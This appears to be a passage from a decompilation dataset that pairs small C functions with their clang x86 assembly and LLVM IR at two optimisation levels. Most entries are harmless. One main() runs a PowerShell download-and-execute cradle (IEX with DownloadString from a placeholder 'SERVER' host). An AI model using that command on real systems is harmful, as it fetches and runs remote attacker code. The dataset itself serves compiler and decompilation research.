xunge/DecIR huggingface dataset:
int isgreater(float f1, float f2) {
  int r = (f1 > f2);
  return !r ? -1 : 1;
}


x86 assembly (clang, -O0):
<isgreater>:
push   %rbp
mov    %rsp,%rbp
movss  %xmm0,-0x4(%rbp)
movss  %xmm1,-0x8(%rbp)
movss  -0x4(%rbp),%xmm0
ucomiss -0x8(%rbp),%xmm0
seta   %al
and    $0x1,%al
movzbl %al,%eax
mov    %eax,-0xc(%rbp)
cmpl   $0x0,-0xc(%rbp)
setne  %dl
xor    $0xff,%dl
mov    $0x1,%eax
mov    $0xffffffff,%ecx
test   $0x1,%dl
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<isgreater>:
xor    %eax,%eax
ucomiss %xmm1,%xmm0
seta   %al
add    %eax,%eax
add    $0xffffffff,%eax
ret

LLVM IR (-O0):
define i32 @isgreater(float %0, float %1) {
%3 = alloca float
%4 = alloca float
%5 = alloca i32
store float %0, float* %3
store float %1, float* %4
%6 = load float, float* %3
%7 = load float, float* %4
%8 = fcmp ogt float %6, %7
%9 = zext i1 %8 to i32
store i32 %9, i32* %5
%10 = load i32, i32* %5
%11 = icmp ne i32 %10, 0
%12 = xor i1 %11, true
%13 = zext i1 %12 to i64
%14 = select i1 %12, i32 -1, i32 1
ret i32 %14
}

LLVM IR (-O2):
define i32 @isgreater(float %0, float %1) {
%3 = fcmp ule float %0, %1
%4 = select i1 %3, i32 -1, i32 1
ret i32 %4
}
void lpint_except() {}


x86 assembly (clang, -O0):
<lpint_except>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<lpint_except>:
ret

LLVM IR (-O0):
define void @lpint_except() {
ret void
}

LLVM IR (-O2):
define void @lpint_except() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ i2c_delay();
int /*<<< orphan*/ scl_high();
int /*<<< orphan*/ sda_high();
void i2c_stop(void) {
  i2c_delay();
  scl_high();
  i2c_delay();
  sda_high();
  i2c_delay();
  i2c_delay();
}


x86 assembly (clang, -O0):
<i2c_stop>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1040 <i2c_delay@plt>
mov    $0x0,%al
call   1030 <scl_high@plt>
mov    $0x0,%al
call   1040 <i2c_delay@plt>
mov    $0x0,%al
call   1050 <sda_high@plt>
mov    $0x0,%al
call   1040 <i2c_delay@plt>
mov    $0x0,%al
call   1040 <i2c_delay@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<i2c_stop>:
push   %rax
xor    %eax,%eax
call   1040 <i2c_delay@plt>
xor    %eax,%eax
call   1030 <scl_high@plt>
xor    %eax,%eax
call   1040 <i2c_delay@plt>
xor    %eax,%eax
call   1050 <sda_high@plt>
xor    %eax,%eax
call   1040 <i2c_delay@plt>
xor    %eax,%eax
pop    %rcx
jmp    1040 <i2c_delay@plt>

LLVM IR (-O0):
define void @i2c_stop() {
%1 = call i32 (...) @i2c_delay()
%2 = call i32 (...) @scl_high()
%3 = call i32 (...) @i2c_delay()
%4 = call i32 (...) @sda_high()
%5 = call i32 (...) @i2c_delay()
%6 = call i32 (...) @i2c_delay()
ret void
}

LLVM IR (-O2):
define void @i2c_stop() {
%1 = tail call i32 (...) @i2c_delay()
%2 = tail call i32 (...) @scl_high()
%3 = tail call i32 (...) @i2c_delay()
%4 = tail call i32 (...) @sda_high()
%5 = tail call i32 (...) @i2c_delay()
%6 = tail call i32 (...) @i2c_delay()
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, ...);
int main(void) {
  char arr[5];
  printf("%p\n", arr);
  printf("%p\n", &arr[0]);
  printf("%p\n", &arr);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    -0x9(%rbp),%rsi
lea    0xed6(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    -0x9(%rbp),%rsi
lea    0xec4(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xeb6(%rip),%rdi
lea    -0x9(%rbp),%rsi
mov    $0x0,%al
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
push   %rax
lea    0xee5(%rip),%r14
lea    0x3(%rsp),%rbx
mov    %r14,%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1030 <printf@plt>
mov    %r14,%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1030 <printf@plt>
mov    %r14,%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [4 x i8] c"%p\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [5 x i8]
store i32 0, i32* %1
%3 = getelementptr inbounds [5 x i8], [5 x i8]* %2, i64 0, i64 0
%4 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8* %3)
%5 = getelementptr inbounds [5 x i8], [5 x i8]* %2, i64 0, i64 0
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8* %5)
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), [5 x i8]* %2)
ret i32 0
}

LLVM IR (-O2):
@.str = [4 x i8] c"%p\0A\00"
define i32 @main() {
%1 = alloca [5 x i8]
%2 = getelementptr inbounds [5 x i8], [5 x i8]* %1, i64 0, i64 0
%3 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8* %2)
%4 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8* %2)
%5 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), [5 x i8]* %1)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ close(int);
void multimap_close(int fd) { close(fd); }


x86 assembly (clang, -O0):
<multimap_close>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%edi
call   1030 <close@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<multimap_close>:
jmp    1030 <close@plt>

LLVM IR (-O0):
define void @multimap_close(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 @close(i32 %3)
ret void
}

LLVM IR (-O2):
define void @multimap_close(i32 %0) {
%2 = tail call i32 @close(i32 %0)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ tcp_client();
int main() { tcp_client(); }


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <tcp_client@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1030 <tcp_client@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main() {
%1 = call i32 (...) @tcp_client()
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 (...) @tcp_client()
ret i32 0
}
void exit_thread_runtime_instr(void) {}


x86 assembly (clang, -O0):
<exit_thread_runtime_instr>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<exit_thread_runtime_instr>:
ret

LLVM IR (-O0):
define void @exit_thread_runtime_instr() {
ret void
}

LLVM IR (-O2):
define void @exit_thread_runtime_instr() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
main() {
  system("powershell.exe \"IEX ((new-object "
         "net.webclient).downloadstring('http://SERVER/powershell_attack.txt "
         "'))\"");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeda(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [105 x i8] c"powershell.exe \22IEX ((new-object net.webclient).downloadstring('http://SERVER/powershell_attack.txt '))\22\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @system(i8* getelementptr inbounds ([105 x i8], [105 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [105 x i8] c"powershell.exe \22IEX ((new-object net.webclient).downloadstring('http://SERVER/powershell_attack.txt '))\22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([105 x i8], [105 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
int test_imm_A1uint16_mem(unsigned short *val) {
  return ((*val) & (-0xA1 << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_A1uint16_mem>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movzwl (%rax),%edx
and    $0xffffff5f,%edx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%edx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_A1uint16_mem>:
movzwl (%rdi),%eax
test   $0xff5f,%eax
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_A1uint16_mem(i16* %0) {
%2 = alloca i16*
store i16* %0, i16** %2
%3 = load i16*, i16** %2
%4 = load i16, i16* %3
%5 = zext i16 %4 to i32
%6 = and i32 %5, -161
%7 = icmp ne i32 %6, 0
%8 = zext i1 %7 to i64
%9 = select i1 %7, i32 -20, i32 -40
ret i32 %9
}

LLVM IR (-O2):
define i32 @test_imm_A1uint16_mem(i16* nocapture %0) {
%2 = load i16, i16* %0
%3 = and i16 %2, -161
%4 = icmp eq i16 %3, 0
%5 = select i1 %4, i32 -40, i32 -20
ret i32 %5
}
/* Variables and functions */
scalar_t__ fork();
int /*<<< orphan*/ printf(char *);
int main(void) {
  fork();
  fork() && fork() || fork();
  fork();
  printf("+\n");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1040 <fork@plt>
mov    $0x0,%al
call   1040 <fork@plt>
cmp    $0x0,%rax
je     1160 <main+0x40>
mov    $0x0,%al
call   1040 <fork@plt>
mov    %rax,%rcx
mov    $0x1,%al
cmp    $0x0,%rcx
mov    %al,-0x5(%rbp)
jne    1171 <main+0x51>
mov    $0x0,%al
call   1040 <fork@plt>
cmp    $0x0,%rax
setne  %al
mov    %al,-0x5(%rbp)
mov    -0x5(%rbp),%al
mov    $0x0,%al
call   1040 <fork@plt>
lea    0xe7e(%rip),%rdi
call   1030 <printf@plt>
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1040 <fork@plt>
xor    %eax,%eax
call   1040 <fork@plt>
test   %rax,%rax
je     1140 <main+0x20>
xor    %eax,%eax
call   1040 <fork@plt>
test   %rax,%rax
jne    1147 <main+0x27>
xor    %eax,%eax
call   1040 <fork@plt>
xor    %eax,%eax
call   1040 <fork@plt>
lea    0xeab(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [3 x i8] c"+\0A\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i64 (...) @fork()
%3 = call i64 (...) @fork()
%4 = icmp ne i64 %3, 0
br i1 %4, label %5, label %8
5: ; preds = %0
%6 = call i64 (...) @fork()
%7 = icmp ne i64 %6, 0
br i1 %7, label %11, label %8
8: ; preds = %5, %0
%9 = call i64 (...) @fork()
%10 = icmp ne i64 %9, 0
br label %11
11: ; preds = %8, %5
%12 = phi i1 [ true, %5 ], [ %10, %8 ]
%13 = zext i1 %12 to i32
%14 = call i64 (...) @fork()
%15 = call i32 @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
%16 = load i32, i32* %1
ret i32 %16
}

LLVM IR (-O2):
@str = [2 x i8] c"+\00"
define i32 @main() {
%1 = tail call i64 (...) @fork()
%2 = tail call i64 (...) @fork()
%3 = icmp eq i64 %2, 0
br i1 %3, label %7, label %4
4: ; preds = %0
%5 = tail call i64 (...) @fork()
%6 = icmp eq i64 %5, 0
br i1 %6, label %7, label %9
7: ; preds = %4, %0
%8 = tail call i64 (...) @fork()
br label %9
9: ; preds = %7, %4
%10 = tail call i64 (...) @fork()
%11 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([2 x i8], [2 x i8]* @str, i64 0, i64 0))
ret i32 0
}
int test_imm_D8int16_mem(short *val) {
  return ((*val) & (-0xD8 << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_D8int16_mem>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
movswl (%rax),%edx
and    $0xffffff28,%edx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%edx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_D8int16_mem>:
movzwl (%rdi),%eax
test   $0xff28,%eax
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_D8int16_mem(i16* %0) {
%2 = alloca i16*
store i16* %0, i16** %2
%3 = load i16*, i16** %2
%4 = load i16, i16* %3
%5 = sext i16 %4 to i32
%6 = and i32 %5, -216
%7 = icmp ne i32 %6, 0
%8 = zext i1 %7 to i64
%9 = select i1 %7, i32 -20, i32 -40
ret i32 %9
}

LLVM IR (-O2):
define i32 @test_imm_D8int16_mem(i16* nocapture %0) {
%2 = load i16, i16* %0
%3 = and i16 %2, -216
%4 = icmp eq i16 %3, 0
%5 = select i1 %4, i32 -40, i32 -20
ret i32 %5
}
long long numanuma__get_time_tps(void) { return 1000000000UL; }


x86 assembly (clang, -O0):
<numanuma__get_time_tps>:
push   %rbp
mov    %rsp,%rbp
mov    $0x3b9aca00,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<numanuma__get_time_tps>:
mov    $0x3b9aca00,%eax
ret

LLVM IR (-O0):
define i64 @numanuma__get_time_tps() {
ret i64 1000000000
}

LLVM IR (-O2):
define i64 @numanuma__get_time_tps() {
ret i64 1000000000
}
/* Variables and functions */
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ stderr;
void yyerror(char msg[]) { fprintf(stderr, "%s\n", msg); }


x86 assembly (clang, -O0):
<yyerror>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2ebd(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rdx
lea    0xed0(%rip),%rsi
call   1030 <fprintf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<yyerror>:
mov    %rdi,%rdx
mov    0x2ec6(%rip),%rax
mov    (%rax),%edi
lea    0xedd(%rip),%rsi
jmp    1030 <fprintf@plt>

LLVM IR (-O0):
@stderr = global i32 0
@.str = [4 x i8] c"%s\0A\00"
define void @yyerror(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i32, i32* @stderr
%4 = load i8*, i8** %2
%5 = call i32 @fprintf(i32 %3, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8* %4)
ret void
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [4 x i8] c"%s\0A\00"
define void @yyerror(i8* %0) {
%2 = load i32, i32* @stderr
%3 = tail call i32 @fprintf(i32 %2, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8* %0)
ret void
}
OP(fd, c0) {
  illegal_1();
  op_c0();
}


x86 assembly (clang, -O0):
<OP>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    $0x0,%al
call   1030 <illegal_1@plt>
mov    $0x0,%al
call   1040 <op_c0@plt>
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<OP>:
push   %rax
xor    %eax,%eax
call   1030 <illegal_1@plt>
xor    %eax,%eax
pop    %rcx
jmp    1040 <op_c0@plt>

LLVM IR (-O0):
define i32 @OP(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
store i32 %0, i32* %4
store i32 %1, i32* %5
%6 = call i32 (...) @illegal_1()
%7 = call i32 (...) @op_c0()
%8 = load i32, i32* %3
ret i32 %8
}

LLVM IR (-O2):
define i32 @OP(i32 %0, i32 %1) {
%3 = tail call i32 (...) @illegal_1()
%4 = tail call i32 (...) @op_c0()
ret i32 undef
}
/* Type definitions */
typedef int /*<<< orphan*/ time_t;

/* Variables and functions */
int /*<<< orphan*/ ctime(int /*<<< orphan*/ *);
void uninitvar_ctime(void) {
  time_t *tp;
  (void)ctime(tp);
}


x86 assembly (clang, -O0):
<uninitvar_ctime>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    -0x8(%rbp),%rdi
call   1030 <ctime@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<uninitvar_ctime>:
jmp    1030 <ctime@plt>

LLVM IR (-O0):
define void @uninitvar_ctime() {
%1 = alloca i32*
%2 = load i32*, i32** %1
%3 = call i32 @ctime(i32* %2)
ret void
}

LLVM IR (-O2):
define void @uninitvar_ctime() {
%1 = tail call i32 @ctime(i32* undef)
ret void
}
/* Type definitions */
typedef int uint32_t;

/* Variables and functions */
int /*<<< orphan*/ assert(int);
uint32_t chpl_bitops_rotr_32(uint32_t x, uint32_t n) {
  assert(n < 32);
  return (x >> n) | (x << (-n & (32 - 1)));
}


x86 assembly (clang, -O0):
<chpl_bitops_rotr_32>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
cmpl   $0x20,-0x8(%rbp)
setl   %al
and    $0x1,%al
movzbl %al,%edi
call   1030 <assert@plt>
mov    -0x4(%rbp),%eax
mov    -0x8(%rbp),%ecx
sar    %cl,%eax
mov    -0x4(%rbp),%edx
xor    %ecx,%ecx
sub    -0x8(%rbp),%ecx
and    $0x1f,%ecx
shl    %cl,%edx
mov    %edx,%ecx
or     %ecx,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<chpl_bitops_rotr_32>:
push   %rbp
push   %rbx
push   %rax
mov    %esi,%ebx
mov    %edi,%ebp
xor    %edi,%edi
cmp    $0x20,%esi
setl   %dil
call   1030 <assert@plt>
mov    %ebp,%eax
mov    %ebx,%ecx
sar    %cl,%eax
neg    %bl
mov    %ebx,%ecx
shl    %cl,%ebp
or     %eax,%ebp
mov    %ebp,%eax
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
define i32 @chpl_bitops_rotr_32(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %4
%6 = icmp slt i32 %5, 32
%7 = zext i1 %6 to i32
%8 = call i32 @assert(i32 %7)
%9 = load i32, i32* %3
%10 = load i32, i32* %4
%11 = ashr i32 %9, %10
%12 = load i32, i32* %3
%13 = load i32, i32* %4
%14 = sub nsw i32 0, %13
%15 = and i32 %14, 31
%16 = shl i32 %12, %15
%17 = or i32 %11, %16
ret i32 %17
}

LLVM IR (-O2):
define i32 @chpl_bitops_rotr_32(i32 %0, i32 %1) {
%3 = icmp slt i32 %1, 32
%4 = zext i1 %3 to i32
%5 = tail call i32 @assert(i32 %4)
%6 = ashr i32 %0, %1
%7 = sub nsw i32 0, %1
%8 = and i32 %7, 31
%9 = shl i32 %0, %8
%10 = or i32 %9, %6
ret i32 %10
}
int program_start(void) { return 1; }


x86 assembly (clang, -O0):
<program_start>:
push   %rbp
mov    %rsp,%rbp
mov    $0x1,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<program_start>:
mov    $0x1,%eax
ret

LLVM IR (-O0):
define i32 @program_start() {
ret i32 1
}

LLVM IR (-O2):
define i32 @program_start() {
ret i32 1
}
double ploshtina(double radius) { return radius * radius * 3.14; }


x86 assembly (clang, -O0):
<ploshtina>:
push   %rbp
mov    %rsp,%rbp
movsd  %xmm0,-0x8(%rbp)
movsd  -0x8(%rbp),%xmm0
mulsd  -0x8(%rbp),%xmm0
movsd  0xee5(%rip),%xmm1
mulsd  %xmm1,%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<ploshtina>:
mulsd  %xmm0,%xmm0
mulsd  0xef4(%rip),%xmm0
ret

LLVM IR (-O0):
define double @ploshtina(double %0) {
%2 = alloca double
store double %0, double* %2
%3 = load double, double* %2
%4 = load double, double* %2
%5 = fmul double %3, %4
%6 = fmul double %5, 3.140000e+00
ret double %6
}

LLVM IR (-O2):
define double @ploshtina(double %0) {
%2 = fmul double %0, %0
%3 = fmul double %2, 3.140000e+00
ret double %3
}
float atan2f(float y, float x) {
  float res;
  asm("fpatan" : "=t"(res) : "u"(y), "0"(x) : "st(1)");
  return res;
}


x86 assembly (clang, -O0):
<atan2f>:
push   %rbp
mov    %rsp,%rbp
movss  %xmm0,-0x4(%rbp)
movss  %xmm1,-0x8(%rbp)
movss  -0x4(%rbp),%xmm1
movss  -0x8(%rbp),%xmm0
movss  %xmm1,-0x10(%rbp)
movss  %xmm0,-0x14(%rbp)
flds   -0x10(%rbp)
flds   -0x14(%rbp)
fpatan
fstps  -0x18(%rbp)
movss  -0x18(%rbp),%xmm0
movss  %xmm0,-0xc(%rbp)
movss  -0xc(%rbp),%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<atan2f>:
movss  %xmm0,-0x4(%rsp)
movss  %xmm1,-0x8(%rsp)
flds   -0x4(%rsp)
flds   -0x8(%rsp)
fpatan
fstps  -0xc(%rsp)
movss  -0xc(%rsp),%xmm0
ret

LLVM IR (-O0):
define float @atan2f(float %0, float %1) {
%3 = alloca float
%4 = alloca float
%5 = alloca float
store float %0, float* %3
store float %1, float* %4
%6 = load float, float* %3
%7 = load float, float* %4
%8 = call float asm "fpatan", "={st},{st(1)},0,~{st(1)},~{dirflag},~{fpsr},~{flags}"(float %6, float %7)
store float %8, float* %5
%9 = load float, float* %5
ret float %9
}

LLVM IR (-O2):
define float @atan2f(float %0, float %1) {
%3 = tail call float asm "fpatan", "={st},{st(1)},0,~{st(1)},~{dirflag},~{fpsr},~{flags}"(float %0, float %1)
ret float %3
}
/* Type definitions */
struct notifier_block {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ wdtpci_stop();
int wdtpci_notify_sys(struct notifier_block *this, unsigned long code,
                      void *unused) {
  {
    if (code == 1UL) {
      wdtpci_stop();
    } else if (code == 2UL) {
      wdtpci_stop();
    }
    return (0);
  }
}


x86 assembly (clang, -O0):
<wdtpci_notify_sys>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
cmpq   $0x1,-0x10(%rbp)
jne    113b <wdtpci_notify_sys+0x2b>
mov    $0x0,%al
call   1030 <wdtpci_stop@plt>
jmp    1152 <wdtpci_notify_sys+0x42>
cmpq   $0x2,-0x10(%rbp)
jne    114d <wdtpci_notify_sys+0x3d>
mov    $0x0,%al
call   1030 <wdtpci_stop@plt>
jmp    1152 <wdtpci_notify_sys+0x42>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<wdtpci_notify_sys>:
add    $0xffffffffffffffff,%rsi
cmp    $0x1,%rsi
ja     1126 <wdtpci_notify_sys+0x16>
push   %rax
xor    %eax,%eax
call   1030 <wdtpci_stop@plt>
add    $0x8,%rsp
xor    %eax,%eax
ret

LLVM IR (-O0):
%struct.notifier_block = type { i32 }
define i32 @wdtpci_notify_sys(%struct.notifier_block* %0, i64 %1, i8* %2) {
%4 = alloca %struct.notifier_block*
%5 = alloca i64
%6 = alloca i8*
store %struct.notifier_block* %0, %struct.notifier_block** %4
store i64 %1, i64* %5
store i8* %2, i8** %6
%7 = load i64, i64* %5
%8 = icmp eq i64 %7, 1
br i1 %8, label %9, label %11
9: ; preds = %3
%10 = call i32 (...) @wdtpci_stop()
br label %17
11: ; preds = %3
%12 = load i64, i64* %5
%13 = icmp eq i64 %12, 2
br i1 %13, label %14, label %16
14: ; preds = %11
%15 = call i32 (...) @wdtpci_stop()
br label %16
16: ; preds = %14, %11
br label %17
17: ; preds = %16, %9
ret i32 0
}

LLVM IR (-O2):
%struct.notifier_block = type { i32 }
define i32 @wdtpci_notify_sys(%struct.notifier_block* nocapture readnone %0, i64 %1, i8* nocapture readnone %2) {
%4 = add i64 %1, -1
%5 = icmp ult i64 %4, 2
br i1 %5, label %6, label %8
6: ; preds = %3
%7 = tail call i32 (...) @wdtpci_stop()
br label %8
8: ; preds = %3, %6
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ gcall(char *);
gjcase() { gcall("^case"); }


x86 assembly (clang, -O0):
<gjcase>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
lea    0xee1(%rip),%rdi
call   1030 <gcall@plt>
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gjcase>:
lea    0xee9(%rip),%rdi
jmp    1030 <gcall@plt>

LLVM IR (-O0):
@.str = [6 x i8] c"^case\00"
define i32 @gjcase() {
%1 = alloca i32
%2 = call i32 @gcall(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
%3 = load i32, i32* %1
ret i32 %3
}

LLVM IR (-O2):
@.str = [6 x i8] c"^case\00"
define i32 @gjcase() {
%1 = tail call i32 @gcall(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
ret i32 undef
}
/* Variables and functions */
int generate_palindroms();
int /*<<< orphan*/ printf(char *, int);
int main() {
  printf("Sum: %d", generate_palindroms());
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1040 <generate_palindroms@plt>
mov    %eax,%esi
lea    0xec1(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
xor    %eax,%eax
call   1040 <generate_palindroms@plt>
lea    0xed1(%rip),%rdi
mov    %eax,%esi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [8 x i8] c"Sum: %d\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 (...) @generate_palindroms()
%3 = call i32 @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32 %2)
ret i32 0
}

LLVM IR (-O2):
@.str = [8 x i8] c"Sum: %d\00"
define i32 @main() {
%1 = tail call i32 (...) @generate_palindroms()
%2 = tail call i32 @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32 %1)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ flushline(int);
void drop(void) { flushline(false); }


x86 assembly (clang, -O0):
<drop>:
push   %rbp
mov    %rsp,%rbp
xor    %edi,%edi
call   1030 <flushline@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<drop>:
xor    %edi,%edi
jmp    1030 <flushline@plt>

LLVM IR (-O0):
define void @drop() {
%1 = call i32 @flushline(i32 0)
ret void
}

LLVM IR (-O2):
define void @drop() {
%1 = tail call i32 @flushline(i32 0)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ __ESBMC_assume(int);
scalar_t__ malloc(size_t);
char *getenv(const char *name) {
__ESBMC_HIDE:;
  _Bool found;
  if (!found)
    return 0;
  char *buffer;
  size_t buf_size;
  __ESBMC_assume(buf_size >= 1);
  buffer = (char *)malloc(buf_size);
  buffer[buf_size - 1] = 0;
  return buffer;
}


x86 assembly (clang, -O0):
<getenv>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x10(%rbp)
testb  $0x1,-0x11(%rbp)
jne    1143 <getenv+0x23>
movq   $0x0,-0x8(%rbp)
jmp    117a <getenv+0x5a>
cmpq   $0x1,-0x28(%rbp)
setae  %al
and    $0x1,%al
movzbl %al,%edi
call   1030 <__ESBMC_assume@plt>
mov    -0x28(%rbp),%rdi
call   1040 <malloc@plt>
mov    %rax,-0x20(%rbp)
mov    -0x20(%rbp),%rax
mov    -0x28(%rbp),%rcx
sub    $0x1,%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x20(%rbp),%rax
mov    %rax,-0x8(%rbp)
